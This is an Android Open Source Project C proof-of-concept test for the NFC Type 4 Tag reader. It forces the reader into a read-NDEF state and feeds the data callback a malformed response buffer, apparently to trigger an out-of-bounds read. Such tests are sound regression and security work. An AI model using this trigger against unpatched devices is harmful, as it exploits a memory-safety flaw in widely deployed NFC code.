/*
 * Copyright (C) 2021 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <stdlib.h>
#include "../includes/common.h"
#include "../includes/memutils.h"

#include <log/log.h>
#include <nfc_api.h>
#include <nfc_int.h>
#include <rw_int.h>
#include <tags_defs.h>

extern tRW_CB rw_cb;
extern tNFC_CB nfc_cb;
void rw_init(void);
tNFC_STATUS rw_t4t_select(void);
void GKI_freebuf(void* x) { (void)x; }

// borrowed from rw_t4t.cc
/* main state */
#define RW_T4T_STATE_READ_NDEF 0x03
/* sub state */
#define RW_T4T_SUBSTATE_WAIT_READ_RESP 0x05

void GKI_start_timer(uint8_t, int32_t, bool) {}
void GKI_stop_timer(uint8_t) {}

void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
    (void)event;
    (void)p_rw_data;
}

int main() {
    tNFC_ACTIVATE_DEVT p_activate_params = {};
    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
    if (rw_cb.p_cback != &poc_cback) {
        ALOGE("Structure tRW_CB mismatch rw_cb.p_cback=%p poc_cback=%p\n", rw_cb.p_cback,
              poc_cback);
        return EXIT_FAILURE;
    }
    tRW_T4T_CB* p_t4t = &rw_cb.tcb.t4t;
    GKI_init();
    rw_init();

    if ((rw_t4t_select()) != NFC_STATUS_OK) {
        return EXIT_FAILURE;
    }

    tNFC_CONN* p_data = (tNFC_CONN*)malloc(sizeof(tNFC_CONN));
    if (!p_data) {
        return EXIT_FAILURE;
    }
    // NOLINTNEXTLINE(clang-analyzer-unix.MallocSizeof)
    p_data->data.p_data = (NFC_HDR*)malloc(sizeof(uint8_t) * 16);
    if (!(p_data->data.p_data)) {
        free(p_data);
        return EXIT_FAILURE;
    }
    p_data->status = NFC_STATUS_OK;

    p_t4t->state = RW_T4T_STATE_READ_NDEF;
    p_t4t->sub_state = RW_T4T_SUBSTATE_WAIT_READ_RESP;

    NFC_HDR* p_r_apdu = (NFC_HDR*)p_data->data.p_data;
    p_r_apdu->offset = 8;
    p_r_apdu->len = 1;

    tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
    tNFC_CONN_EVT event = NFC_DATA_CEVT;

    p_cb->p_cback(0, event, p_data);

    free(p_data->data.p_data);
    free(p_data);

    return EXIT_SUCCESS;
}
